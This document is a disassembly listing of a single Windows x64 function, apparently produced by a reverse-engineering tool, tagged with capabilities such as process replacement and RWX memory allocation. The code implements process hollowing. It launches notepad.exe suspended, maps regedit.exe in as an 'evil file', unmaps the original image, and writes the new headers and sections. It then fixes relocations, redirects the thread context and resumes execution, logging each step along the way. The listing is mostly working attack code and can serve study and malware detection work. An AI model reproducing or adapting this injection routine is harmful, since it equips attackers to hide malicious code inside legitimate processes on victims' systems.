Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 0x68
call fcn.140001634
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 0x68]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.c:Windows_notepad.exe
lea rcx, str.Creating_Susspended_Process.___s__n
call fcn.140001010
xor esi, esi
lea rax, [rbp - 1]
mov qword [rsp + 0x48], rax
lea rdx, str.c:Windows_notepad.exe
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], esi
lea rcx, str.c:Windows_regedit.exe
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.140001670
lea rdx, str.c:Windows_regedit.exe
mov qword [rbp - 0x31], rax
lea rcx, str.Mamming_File_To_Memory.___s__n
mov r12, rax
call fcn.140001010
lea r9, [rbp + 0x1f]
mov qword [rsp + 0x20], rsi
mov r8d, ebx
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rcx, str.Geting_Current_Context._n
call fcn.140001010
mov ecx, 0x4d0
call fcn.140001634
xor edx, edx
mov qword [rbp - 0x11], rax
mov r8d, 0x4d0
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
mov dword [rbx + 0x30], 0x10000b
mov rdx, rbx
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400011c3
lea rcx, str.Error_getting_context_n
call fcn.140001010
jmp 0x1400015de
mov rdx, qword [rbx + 0x88]
lea r8, [rbp - 9]
mov rcx, qword [rbp - 1]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.Unmapping_Section._n
call fcn.140001010
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 9]
mov rcx, qword [rbp - 1]
call rax
test eax, eax
je 0x14000122f
lea rcx, str.Error_Unmaping_Section_n
call fcn.140001010
jmp 0x1400015de
mov rdx, qword [rbp - 9]
mov r9d, 0x3000
mov rcx, qword [rbp - 1]
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], r15
movsxd r15, dword [r12 + 0x3c]
add r15, r12
mov dword [rsp + 0x20], 0x40
mov qword [rbp - 0x21], r15
mov r8d, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, qword [rbp - 9]
lea rcx, str.Original_Process_Base:_0x_llx_nEvil_File_Base:_0x_llx_nOffset:_0x_llx_n_n
mov rdx, qword [r15 + 0x30]
mov r13, r8
sub r13, rdx
mov qword [rbp - 0x19], rax
mov r9, r13
mov r14, rax
call fcn.140001010
mov rcx, qword [rbp - 9]
mov r8, r12
mov r9d, dword [r15 + 0x54]
mov qword [r15 + 0x30], rcx
mov rdx, qword [rbp - 9]
mov rcx, qword [rbp - 1]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400012c9
lea rcx, str.Failed_to_write_Headers_n
jmp 0x1400015c1
lea rcx, str.Writing_Sections:_n
call fcn.140001010
mov edi, esi
cmp si, word [r15 + 6]
jae 0x140001358
movsxd rbx, dword [r12 + 0x3c]
lea rcx, str.0x_lx____Writing_Section:__s_n
add rbx, 0x108
add rbx, rsi
add rbx, r12
mov r8, rbx
mov edx, dword [rbx + 0xc]
add rdx, r14
call fcn.140001010
mov r8d, dword [rbx + 0x14]
mov edx, dword [rbx + 0xc]
add r8, r12
mov r9d, dword [rbx + 0x10]
add rdx, r14
mov rcx, qword [rbp - 1]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001347
mov r8d, dword [rbx + 0xc]
lea rcx, str.Error_Wriring_section:__s._At:__x_llp_n
add r8, r14
mov rdx, rbx
call fcn.140001010
movzx eax, word [r15 + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x1400012e2
xor esi, esi
test r13, r13
je 0x14000153d
lea rcx, str._nRelocating_The_Relocation_Table..._n
call fcn.140001010
mov dword [rbp - 0x49], esi
cmp si, word [r15 + 6]
jae 0x14000153d
mov rdx, rsi
mov qword [rbp - 0x39], rdx
mov eax, dword [str..reloc]
mov r8, 0xffffffffffffffff
movsxd rbx, dword [r12 + 0x3c]
mov dword [rbp + 0x23], eax
add rbx, rdx
movzx eax, word [0x140003534]
mov word [rbp + 0x27], ax
movzx eax, byte [0x140003536]
mov byte [rbp + 0x29], al
lea rax, [rbp + 0x23]
inc r8
cmp byte [rax + r8], 0
jne 0x1400013b3
lea rcx, [r12 + 0x108]
add rcx, rbx
lea rdx, [rbp + 0x23]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001518
mov rax, qword [r15 + 0xb0]
mov r14d, esi
mov ebx, dword [rbx + r12 + 0x11c]
mov qword [rbp - 0x29], rax
shr rax, 0x20
mov dword [rbp - 0x41], ebx
test eax, eax
je 0x140001518
nop
lea r15d, [r14 + rbx]
add r15, r12
lea rcx, str._nRelocation_Block_0x_x._Size:_0x_x_n
mov r8d, dword [r15 + 4]
mov edx, dword [r15]
call fcn.140001010
mov edi, dword [r15 + 4]
lea rcx, str._d_Entries_Must_Be_Realocated_In_The_Current_Block._n
sub rdi, 8
add r14d, 8
shr rdi, 1
mov edx, edi
call fcn.140001010
lea eax, [r14 + rbx]
mov ebx, eax
add rbx, r12
test edi, edi
je 0x140001505
mov esi, edi
mov r12d, 0x1000
lea r14d, [r14 + rsi*2]
mov dword [rbp - 0x45], r14d
xor r14d, r14d
nop dword [rax + rax]
movzx eax, word [rbx]
cmp ax, r12w
jae 0x140001472
lea rcx, str.The_Type_Of_Base_Relocation_Is_0._Skipping._n
jmp 0x1400014ea
mov rdx, qword [rbp - 9]
lea r8, [rbp + 0x17]
mov rcx, qword [rbp - 1]
and eax, 0xfff
add eax, dword [r15]
mov r9d, 8
mov edi, eax
add rdx, rdi
mov qword [rbp + 0x17], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbp + 0x17]
lea rcx, str.0x_llx_____0x_llx__At:0x_llx_n
mov r9, qword [rbp - 9]
add r9, rdi
lea r8, [rdx + r13]
call fcn.140001010
mov rdx, qword [rbp - 9]
lea r8, [rbp + 0x17]
mov rcx, qword [rbp - 1]
add rdx, rdi
add qword [rbp + 0x17], r13
mov r9d, 8
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014ef
lea rcx, str.Error_Writing_Entry._n
call fcn.140001010
add rbx, 2
sub rsi, 1
jne 0x140001460
mov r14d, dword [rbp - 0x45]
mov r12, qword [rbp - 0x31]
mov ebx, dword [rbp - 0x41]
cmp r14d, dword [rbp - 0x25]
jb 0x140001400
mov r15, qword [rbp - 0x21]
xor esi, esi
mov ecx, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x39]
inc ecx
movzx eax, word [r15 + 6]
add rdx, 0x28
mov dword [rbp - 0x49], ecx
mov qword [rbp - 0x39], rdx
cmp ecx, eax
jl 0x140001382
mov r14, qword [rbp - 0x19]
mov rbx, qword [rbp - 0x11]
lea r8, [r15 + 0x30]
mov rcx, qword [rbp - 1]
mov r9d, 8
mov qword [rsp + 0x20], rsi
mov rdx, qword [rbx + 0x88]
add rdx, 0x10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [r15 + 0x28]
lea rcx, str._nSetting_Thread_Context._n
add rax, r14
mov qword [rbx + 0x80], rax
call fcn.140001010
mov rcx, qword [rbp + 7]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001599
lea rcx, str.Error_setting_context_n
jmp 0x1400015c1
lea rcx, str.Resuming_Thread._n
call fcn.140001010
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.Error_resuming_thread_n
test eax, eax
je 0x1400015c1
lea rcx, str._nDone._Enjoy_The__New__Process._n__________________________________n_n
call fcn.140001010
mov r14, qword [rsp + 0x108]
mov r13, qword [rsp + 0x100]
mov r15, qword [rsp + 0x110]
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140001610
add rsp, 0xd0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret